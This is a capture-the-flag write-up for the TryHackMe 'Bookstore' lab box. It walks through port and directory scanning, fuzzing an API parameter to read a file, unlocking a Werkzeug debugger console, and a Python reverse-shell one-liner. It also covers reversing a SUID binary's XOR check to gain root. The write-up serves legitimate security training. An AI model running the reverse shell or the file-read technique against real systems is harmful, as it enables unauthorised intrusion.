TryHackMe Bookstore Writeup

This writeup describes all the steps necessary to root the medium box: Bookstore on TryHackMe

We start off by adding the IP address of the server to the /etc/hosts file. Do this by running the following command:

echo "<box_ip>   bookstore.thm" >> /etc/hosts 

TryHackMe Bookstore – Enumeration

As per usual, we start by running a port scan on the host using nmap. The sC and sV flags indicate that basic vulnerability scripts are executed against the target and that the port scan tries to find version information.

nmap -sV -sC bookstore.thm

The outcome of the port scan can be seen below:

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 44:0e:60:ab:1e:86:5b:44:28:51:db:3f:9b:12:21:77 (RSA)
|   256 59:2f:70:76:9f:65:ab:dc:0c:7d:c1:a2:a3:4d:e6:40 (ECDSA)
|_  256 10:9f:0b:dd:d6:4d:c7:7a:3d:ff:52:42:1d:29:6e:ba (ED25519)
80/tcp   open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Book Store
5000/tcp open  http    Werkzeug httpd 0.14.1 (Python 3.6.9)
| http-robots.txt: 1 disallowed entry 
|_/api 

|_http-server-header: Werkzeug/0.14.1 Python/3.6.9 |_http-title: Home Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Ports 22, 80 and 5000 open. This indicates that a SSH server and two web servers are running. The web server on port 80 is running Apache and the web server on port 80 seems to be running a Python web server. Let’s start by checking the web server on port 80 out.

TryHackMe Bookstore – Enumeration Apache web server

We use gobuster in order to find hidden files and directories. Run gobuster by running the following command:

gobuster dir -u http://bookstore.thm -w /usr/share/wordlists/common.txt

The outcome can be seen below:

/.htaccess (Status: 403)
/.hta (Status: 403)
/.htpasswd (Status: 403)
/assets (Status: 301)
/favicon.ico (Status: 200)
/images (Status: 301)
/index.html (Status: 200)
/javascript (Status: 301)
/server-status (Status: 403)

There is no specific file or directory which stands out from the others. Let’s continue by browsing to the homepage of the web server by inputting: http://bookstore.thm/ in your browser. The page found can be seen below:

TryHackMe Bookstore - Apache Web page

The most interesting part of this web site is the log in functionality. It’s always a good idea to check out this page in order to gain some sort of access to the machine. Browse to: http://bookstore.thm/login.html in order to find the login page. This is the page you will find there:

TryHackMe Bookstore - Book login

The log in functionality does not seem to work. Let’s check the page source. The easiest way to view the page source is by browsing to view-source:http://bookstore.thm/login.html. The following line seem of interest here:

<!--Still Working on this page will add the backend support soon, also the debugger pin is inside sid's bash history file -->

It seems like we can find the pin for a debugger in the .bash_history file. Because we do not know what this specific debugger is, we move over to enumerating the next web server.

TryHackMe Bookstore – Enumeration Werkzeug web server

Checking out the web server on port 5000, we see that the Werkzeug software is running. Werkzeug is a Python library which includes a debugger! This might come in handy to get a shell. When checking this link; we find the console is PIN protected. This is confirmed by browsing to: http://bookstore.thm:5000/console. The found page can be seen below:

TryHackMe Bookstore Werkzeug

In order to get the acquired PIN, we have to read the .bash_history file. Browsing to http://bookstore.thm:5000 reveals the following page:

TryHackMe Bookstore - API

So this web service serves as an API. This is confirmed by browsing to http://bookstore.thm:5000 where you can find the following web page:

TryHackMe Bookstore - API routes

TryHackMe Bookstore – Initial foothold

Some URL parameters for the API are visible on this page! One should be abused to read some files on the web server. Furthermore, it is interesting to note that the web server is running a version 2 of the API. This might indicate that there are extra routes on the older API. Let’s use wfuzz in order to find legit paths where you can read the content of .bash_history. Run the following command:

wfuzz -u http://bookstore.thm:5000/api/v1/resources/books?FUZZ=.bash_history -w /usr/share/wordlists/common.txt --hc 404

The outcome can be seen below:

===================================================================
ID           Response   Lines    Word     Chars       Payload                                                                                                                                   
===================================================================

000000517:   200        1 L      1 W      3 Ch        "author"                                                                                                                                  
000001964:   200        1 L      1 W      3 Ch        "id"                                                                                                                                      
000003215:   200        1 L      1 W      3 Ch        "published"                                                                                                                               
000003645:   200        30 L     42 W     264 Ch      "****"   

The last found parameter (which is redacted so that it does not reveal the answer, contains the content of the .bash_history file. Great! Let’s access this page: view-source:http://bookstore.thm:5000/api/v1/resources/books?****=.bash_history in the browser:

cd /home/sid
whoami
export WERKZEUG_DEBUG_PIN=***-***-***
echo $WERKZEUG_DEBUG_PIN
python3 /home/sid/api.py
ls
exit
whoami
clear
ls
cd /root
ls
cat root.txt 
clear
ls
cd /var
ls
cd www
ls
cd html/
clear
ls
cat login.html 
clear
ls
cd more_css/
ls
cd ..
clear
exit

Great, we have found the PIN of the Workzeug debugger console. Let’s go back to http://bookstore.thm:5000/console and fill in the PIN we just found. You should see the following web page by doing so:

TryHackMe Bookstore - console

Great! A command shell. Start your local listener by running on your attacking machine:

nc -lvnp 9001

And put the following command in the input you just found:

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<box_IP>",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"])

And that’s it! You should have gained a shell on your attacking machine. Improve your shell by running the following commands:

export TERM=xterm-256color
python3 -c 'import pty;pty.spawn("/bin/bash")'
CTRL+Z 
stty raw -echo;fg
ENTER
ENTER

Get the user flag by running:

cat user.txt

TryHackMe Bookstore – Root flag

Now we have to find a way to acquire root privileges. By running: ls -al we find some interesting files. The output of ls -al can be seen below:

drwxr-xr-x 5 sid  sid   4096 Oct 20 03:16 .
drwxr-xr-x 3 root root  4096 Oct 20 02:21 ..
-r--r--r-- 1 sid  sid   4635 Oct 20 02:52 api.py
-r-xr-xr-x 1 sid  sid    160 Oct 14 21:49 api-up.sh
-r--r----- 1 sid  sid    116 Nov 29 19:08 .bash_history
-rw-r--r-- 1 sid  sid    220 Oct 20 02:21 .bash_logout
-rw-r--r-- 1 sid  sid   3771 Oct 20 02:21 .bashrc
-rw-rw-r-- 1 sid  sid  16384 Oct 19 22:03 books.db
drwx------ 2 sid  sid   4096 Oct 20 02:53 .cache
drwx------ 3 sid  sid   4096 Oct 20 02:53 .gnupg
drwxrwxr-x 3 sid  sid   4096 Oct 20 02:29 .local
-rw-r--r-- 1 sid  sid    807 Oct 20 02:21 .profile
-rwsrwsr-x 1 root sid   8488 Oct 20 03:01 try-harder
-r--r----- 1 sid  sid     33 Oct 15 11:14 user.txt

We see a binary file named try-harder which is owned by root and has SUID privileges. Running this file requires a magic number, which we obviously do not yet know at this point in time. Let’s transfer the binary to our attacking machine in order to check the source code. Start a simple Python web server on the box machine by running:

python3 -m http.server

Then acquire the file on your attacking machine by running:

wget http://bookstore.thm:8000/try-harder

Excellent, we acquired the binary. Now we have to inspect the source code. We do so by importing the file in Ghidra. This results in the following source code being shown:


void main(void)

{
  long in_FS_OFFSET;
  uint local_1c;
  uint local_18;
  uint local_14;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  setuid(0);
  local_18 = 0x5db3;
  puts("What\'s The Magic Number?!");
  __isoc99_scanf(&DAT_001008ee,&local_1c);
  local_14 = local_1c ^ 0x1116 ^ local_18;
  if (local_14 == 0x5dcd21f4) {
    system("/bin/bash -p");
  }
  else {
    puts("Incorrect Try Harder");
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

The code validates the input of the user to some value. This value is calculated by a series of XOR operations XOR operations can be reversed too! This means that the input variable can be calculated by XOR-ing all known values. You can do so in Python! Run the following commands:

python3
0x5dcd21f4 ^ 0x1116 ^ 0x5db3

The result is the number the program is looking for. Run the following command on the box machine:

./try-harder

Then input the just found decimal number. You should now have gained root privileges! The root flag can be found here: /root/root.txt

This was a fun box to root. The most interesting part here was to brute-force the API variables by using wfuzz

1 Comment

Leave a Reply

Your email address will not be published. Required fields are marked *